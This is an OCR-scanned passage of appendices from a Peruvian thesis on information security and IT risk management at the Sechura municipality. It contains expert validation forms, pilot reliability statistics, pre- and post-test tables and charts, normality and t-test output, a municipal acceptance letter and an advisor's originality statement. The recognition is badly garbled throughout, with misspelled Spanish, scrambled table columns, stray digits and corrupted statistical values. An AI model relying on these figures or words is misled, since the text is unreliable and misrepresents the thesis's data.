una sarie de indicadorss con puntuacionss expecificadas en Ia tbla, con la valoracion de 0% - 100%. Asimismo, s= exhorta a las
suzerencias de cambio de iems que crea pertinents, con la finalidad de mejorar la cohersncia de los indicadores para su valoracion.

Il. ASPECTOS DE VALIDACION

VALUHALTON
INDICADOR CRITERIO D-20% 21-60% B1-TO% | 71-20% | E1-100%

CLAFIOAD E= Iormalado Ccob [ENE0a)e apropiac. 505
OBIETIVIODAL E=ta exprezado en condiacia observable. i

Es adecuade 2l avance, la clencia ¥ s
ACTUALIDAD tarmologia :
OFGANRLIEACTON ExIETe UE2 nTEanizarion [ogid. nir,

Comprends lo: aspectos de cantidad v .
SUFICIEMCTA calidad. :

Adecuacy para valarar los aspectoz dal o
INTENCIONALIDAD | ;0joma metodologico v cientifico B0%
- - Esta bazado en aspactos teonicos ¥ N
COMSISTENMCIA Cientificos
HERENLLA En lo: dato: rezpecto al malcdor. i
KETODTILOGIA Fespande al propoatio de Inveshzacion. B

Elmstrumnento es adecuaco al tipo de .
FEETENENCIA imvaztigacion !

TOTAL 3005 | 90vh
lll. PROMEDIO DE VALIDACION
85%
I¥. OPCION DE APLICABILIDAD
{ }El instrumento pueds ser aplicado, tzl como ssta claborada
{ ) Elinstnamento debe ser mejorade antes de zer aplicado
FIRMA DEL EXPERTO 1

o



CERTIFICADO DE VALIDEZ DE CONTENIDO DEL INSTRUMENTO QUE MIDE:

NY DIMEN SIONES / items

Pertinencia’

Relevancia® Claridad® Sugerencias

DIMENSION 1: Si

No

5 | No | Si Ho

INDICADOR 1: Identificar la cifra de riesgos de la Municipalidad

Es formulado con lenm@je apropiado.

Es adenmdo el avance, [a cienci2 y temaloga

Ejiste mna orgarizacion logica.

Corprende Loz aspectos de cantidad y calidad.

Adenurdo para valorar los aspectos del sxema metodologics v cientfice.

Exsta basado e 2specios tearicos y centifices,

En s dotos respecto ol mibcadr.

Fesponde al proposito da mvestizacion.

=k |- | oo || w| =
Bl E E A E B i Tl

El instrumento e adecuado al tipo de investizacion

] | S | [ S | | S | v |
|t | S |5 | S |5 | S | S S | e

Observaciones (precisar si hay suficiencia):

Opinion de aplicabilidad: Aplicable [X]

Apellidoz y nombres del juez validador. Chuguicondor Requena Yuri Daniel

Ezpecialidad del validador:

"Pertinencia: El item comezponde &l concepte tearicn formmlsdo.

*Relevancia: El item es spropiady pere representer al compoents o dimenzion espectica del comsmucio
*Claridad: S extiznds =in dificultsd slome & smmcisds el fem, e concizo, exacts v dinecte

Mota Suficencis, s e suficiencs cuanda los mems plinteados som suficiestes pere medir |a dimeesicn

Tabla 16. Resultados de la prueba piloto

Resumen de procesamiento de
casos
M %

1000

0

Valido 10
0 .
10 100,0

a. La eliminacidn por lista se hasa en
todas las variables del
procedimiento.

Casos

Excluido®

Total

Estadisticas de
fiabilidad

[ ode
elementos

Alfa de
Cronhach

831

Aplicable después de comegir [_]

No aplicable [ ]

DXNI: 41964654

10 de setiembre del 2022

1

g,
AL R
<\ nl

Firma del Experto Informante.




Estadisticas de elemento

Desv.
Media Desviacion I
Pre test ldentificar cifrade  13,20000 2 973861 10
riesgos de Seguridad
Fre test Analizar los 25,90000 8,438668 10
riesgos de la seguridad
de lainformacion
Fre test aplicar 156,30000 6,750309 10
tratamientos y
mecanismao de
seguridad
Pre test Gestion de 54,60000 15614808 10
riesgos
VARO000 VAR0000 VAR0000 VAR0000
& O & &
1 2 3 4
| 14,000 27,000 13,000 54,000
] 14,000 30,000 25,000 69,000
J 13,000 30,000 12,000 55,000
] 11,000 27,000 21,000 59,000
] 13,000 23,000 11,000 46,000
] 17,000 38,000 25,000 81,000
J 5,000 10,000 5,000 20,000
] 19,000 28,000 10,000 57,000
] 10,000 25,000 15,000 50,000
] 11,000 27,000 15,000 53.000



Tabla 17.

[T B IR L IR T R e

=

-

A

1

[T=D - I IR = IR o B SRS I V]

=
[=]

Respuesta de los indicadores

B C

2

[ S R N L - = =y T

5

LU, W, I W DR R IR R, R, R -

D

2

W W W W

E
N2 Pregun. Iteml Item2 Item3 Item4 Item5 In.1 In.2

2

R W M W M

G H

L

b D D B B D B BN BN B |

14 27
14 30
13 30
11 27
13 22
17 38

5 10
19 28
10 25
11 27

R W W W bW

J

In. 3 GESTION
13 54
25 69
12 55
21 59
11 46
26 81

5 20
10 57
15 50
15 53

|N9P .lltemﬁ Item?7 Item& Item?9 Item10 Itemll Iteml2 Iteml3 Itemld Iteml5

Tabla 18.

T I R e

=3
o

Ne P

[T~ T R ST R

=Y
[=]

B R W R W W W
LR W= R R W W

[E]

Itemlo

3

[T S T S R S A T N

o

B W W R R R

Itemly

[ I o L IR T B R W R N

WWHH.‘M\J‘-‘-J&MMJ‘-‘-

2 3
4 2
4 4
3 3
3 2
3 3
1 1
3 3
4 2
1 2
ltem18
2
5
3
a4
2
5
1
3
2
2

e WO = W = W L R

2

[

Item19

o R = D R R D W

3 3 3’
a 3 a’
3 3 3’
3 3 3’
a 3 3"
5 5 5"
1 1 17
3 3 2"
a 2 2"
3 4 2"
Item20 SUMA

2'

5'

1'

4!’

2'

5'

1'

2'

2'

4!’

SUMA
27
30
30
27

23
38
10
28
25
27

13
25
121
21
11
25

10
15
15

Resultados de la muestra aplicada PRE Y POST-TEST

Identificar la cifra de riesgos en la municipalidad de Sechura.

Pre-Test Post-Test
Frecuencia Forcentaje Frecuencia FPorcentaje
Valido Malo 15 60,0 ] 0
Regular 10 40.0 1] 0
Buenao 0 0 25 100,0
Total 25 100,0 25 100,0




Identificar la cifra de riesgos

12086
100%
1008
B0%
&0%
B60%
A405%
40%
20%
0% 036 %6
094
PRE-TEST POST-TEST
MALD mREGULAR mBUEND
Analizar los riesgos informaticos de la municipalidad
Pre-Test Post-Test
Frecusncia Porcentaje Frecuencia FPorcentaje
Malo 3 12,0 0 0,0
) Regular 22 2a.0 0 0.0
Vilido
Bueno 0 0 25 100,0
Total 25 100,0 25 100,0
Analizar los riesgos
120%
100%
100%
BR%
80%
60%
40%
20% 12%
0% 0% 0%
0%
PRE-TEST POST-TEST

MALO MREGULAR MBUEMO



Mitigar la cifra de riesgos tratados para prevenir riesgos en los

sistemas.
Pre-Test Post-Test
Frecuencia Forcentaje Frecuencia Porcentaje
Malo 7 28,0 ] 0.0
Regular 18 72,0 ] 0,0
Valido
Bueno 0 0,0 25 100,0
Total 25 100,0 25 100,0
Mitigar la cifra de riesgos tratados
120%
100%
100%
BO0% 72%
B0%
40% 28%
20%
0% 0% 0%
0%
PRE-TEST POST-TEST
MALD B REGULAR B BUENO
V.D Gestion de Riesgos (Suma)
Pres-Test Post-Test
Frecuencia Forcentaje Frecuencia Porcentaje
Malo 4 16,0 0 0.0
. Regular 21 84.0 0 0.0
Valido
Bueno 0 0,0 25 100,0

Total 25 100,0 25 100,0




1205

100%%

B0%

0%

1a6%

20%

0%

Gestion de Riesgos

B4%

0%

0%

MALD MREGULAR MBBUENO
PRE-TEST

Tabla 19. Resultados de

los

100%

0%

POST-TEST

indicadores

seglun la

Identificar la cifra Analizar los riesgos Mitigar la cifra de
de riesgos riesgo tratados
& PRETES || &> POSTES & pra ” & post || & PRTEST | & POTEST
T L | | ,
5,00 23,00 25,00 46.00 10,00 24,00
5,00 23,00 24,00 43,00 14,00 24,00
B.00 24,00 28.00 42.00 13.00 24,00
.00 22,00 27,00 43.00 16,00 24,00
12,00 23,00 28.00 42.00 12,00 24,00
12,00 25,00 24,00 41,00 14,00 24,00
10,00 22,00 23,00 41,00 12,00 24 00
5.00 24,00 29,00 41,00 14,00 24,00
8.00 25,00 23.00 43.00 17,00 25.00
2,00 24 00 24 00 43 00 12, 00 25 00
10,00 23,00 28.00 40,00 14.00 25.00
11,00 24,00 27,00 43,00 12,00 25,00
14,00 24 00 22,00 45 00 14 00 25,00
12,00 24,00 26,00 45,00 14,00 25,00
13,00 24,00 27.00 45,00 12,00 24,00
11,00 23,00 26,00 44 00 14 00 24 00
11,00 24,00 27.00 44,00 12,00 24,00
10,00 23,00 2400 44 00 14,00 24,00
10,00 24 00 25 00 45 00 10,00 24 00
12,00 24,00 25,00 43,00 15,00 23,00
13,00 24,00 25.00 44 .00 9,00 24,00
13,00 25 00 26 00 44 00 10,00 24 00

muestra
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Indicador 2. Analizar los riesgos

POS-TEST

PRE-TEST
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los sistemas

Ir riesgos en

Mitigar la cifra de riesgos tratados para preven




Tabla 20.

Prueba de normalidad

Resumen de procesamiento de casos

Casos
Valido Perdidos Total
¥ Forcentaje I Forcentaje I Forcentaje
FRE-TEST _FOST-TEST 25 100,0% 0 0,0% 25 100,0%
ldentificar |a cifra de
riesgos enla
municipalidad de
Sechura.
FRE-TEST _FOST-TEST 25 100,0% 0 0,0% 25 100,0%
Analizar los riesgos de la
seguridad
FRE-TEST _FOST-TEST 25 100,0% 0 0,0% 25 100,0%
Mitigar la cifra de riesgos
tratados para prevenir
riesgos en los sistemas
0 equipos informaticos.
FRE-TEST _FOST-TEST 25 100,0% 0 0,0% 25 100,0%
W.D Gestion de Riesgos
Descriptivos
Error
Estadistico estandar

FPRE-TEST _ POST-TEST Media -12,8200 L BEE61
Irli:leesngtigl;aerr:sllacifra de 952 de intervalo de . Limite inferiar -13,683655
municipalidad de EEAUERES R 12 GuEElE Limite superior -12,12324
EEERRD. Media recortada al 5% -1z,8222

Mediana -13, 0000

Warianza 3,350

Desviacion estandar 1,83303

Minirmo -1 7,00

M Eximo -10,00

Rango F.,.00

Rango intercuartil 2,50

Asimetria -,501 A5 4

Curtosis -.121 = o e
FPRE-TEST _ POST-TEST Media -17F,68000 SS1a62
T s M=enes C = 95% de intervalo de Limite inferior -18,6724

EEFIIERES @EGE 02 GoeeEiE Limite superior 16,5276

Media recortada al 5% -17,6333

Mediana -1 82,0000

warianza &6, ¥50

Desviaciaon estandar 2.59808

Mirirmo -23,00

M aximo -12,00

Rango 11,00

Rango intercuartil 2.50

Asimetria ES2T A6 4

Curtosis 597 902
FRE-TEST _ POST-TEST Media -11,6000 A0e25
Mitigar Ia cifra d= riesgos 95% de Intervalo de Limite inferior 12,4478
tfatados para prevanir confianza para la media E— . :
riesgos en los sistemas Limite superior -10,7574
o equipos informaticos. Media recartada al 5% “11.,8222

Mediana -12,0000

wWarianza 4167

Desviacion estandar Z2,04124

Minirmo -15,00

M @i rmo -5,00

Rango T.,00

Rango intercuartil 3,50

Asimetria 236 464

Curtosis -, 200 a0z
PRE-TEST _ POST-TEST mMedia -4Z2 0800 BEZ2a3
W.0 Gestion de Riesgos 952 de intervalo de Limite inferiar -43 4295

BERDZERES) EEGE) 12 G Limite superior -40,6705

Media recortada al 52 -42 0333

Mediana -42,0000

warianza 11,660

Desviacidn estandar 3,41467

mMinirmo -49 00

Maximo -35,00

Rango 13,00

Rango intercuartil 4,00

Asimetria -.192 L4654

Curtosis -.179 202




Pruebas de normalidad

Kolmaoganoy-Smirmay Shapiro-Wilk

Estadistico g Sig. Estadistico gl  Sig.
PRE-TEST _ POST-TEST 388 25 .0oo 625 25 000
Identificar la cifra de riesgos
en la municipalidad de
Sechura.
PRE-TEST _ POST-TEST 521 25 .0oo 384 25 000
Analizar los riesgos de la
seguridad
PRE-TEST _ POST-TEST 449 25 .0oo 565 25 000

Mitigar la cifra de riesgos

tratados para prevenir

riesgos en los sistemas o

equipos informaticos.

PRE-TEST _ POST-TEST 506 25 .0oo 445 25 000
V.D Gestion de Riesgos

Tabla 21. Resultados de T-STUDENT

Estadisticas para una muestra
N Media  Desy Desviacion Desy Error promedio
PRE-TEST _ POST-TEST 25 -1,1600 37417 07483

Gestion Riesgos

Prueba para una muestra
Valor de prueba =0
95%% de intervalo de
confianza de la diferencia

i gl  Sig. (bilateral) Diferencia de medias  Inferior Superior

PRE-TEST _ POST-TEST -15,501 24 000 -1,16000 -1,3144 -1,0056

Gestion Riesgos




Figura 8. Conformidad del proyecto

MUNICIPALIDAD PROVINCIAL DE SECHURA

Sechura, 21 de noviembre de 2022

Seior(es):

Eche Pingo Jorge Luis
Lizano Mendoza Anyi Exmit

Presente.-

Asunto: Conformidad del Producto Terminado

La presente tiene como finalidad hacer del conocimiento de usted que en base a su
proyecto de investigacion titulada “Implementacion de Seguridad de la Informacion para
Mejorar la Gestion de Riesgos de Tl en la Municipalidad de Sechura 2022”.

Se expide la presente aceptando el informe que se entrego a la oficina de Sub Gerencia
de Planeacion, Racionalizacion, Estadistica e Informatica de la Municipalidad Provincial
de Sechura, en el cual se encuentra la investigacion de la Tesis de los estudiantes: Eche
Pingo Jorge Luis y Lizano Mendoza Anyi Exmit del X ciclo de la Carrera Profesional de
Ingenieria de Sistemas de la Universidad Cesar Vallejo-Piura.

En cuanto Informo a usted para su conocimiento y los fines que estime necesarios

(=0 MUNICIPA ” L DE SECHURA
e 2L I
c.PrCc. aLiCi eﬁ&s APILLIQUEN

L]

AL

SUR GERENCIA DE PLANEAMIENTD RACIONAL LZACROme
ESTADISTICA £ FONMATICA
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Yo, ALTUNA TOCTO GERARDO ARTURO, docente de la FACULTAD DE INGENIERIA
Y ARQUITECTURA de la escuela profesional de INGENIERIA DE SISTEMAS de la
UNIVERSIDAD CESAR VALLEJO SAC - PIURA, asesor de Tesis titulada:
"Implementacién de seguridad de la informacién para mejorar la gestion de riesgos de Tl
en la Municipalidad de Sechura. 2022", cuyos autores son LIZANO MENDOZA ANYI
EXMIT, ECHE PINGO JORGE LUIS, constato que la investigacion tiene un indice de
similitud de 11.00%, verificable en el reporte de originalidad del programa Turnitin, el cual
ha sido realizado sin filtros, ni exclusiones.

He revisado dicho reporte y concluyo que cada una de las coincidencias detectadas no
constituyen plagio. A mi leal saber y entender la Tesis cumple con todas las normas para
el uso de citas y referencias establecidas por la Universidad César Vallejo.

En tal sentido, asumo la responsabilidad que corresponda ante cualquier falsedad,
ocultamiento u omision tanto de los documentos como de informacion aportada, por lo
cual me someto a lo dispuesto en las normas académicas vigentes de la Universidad
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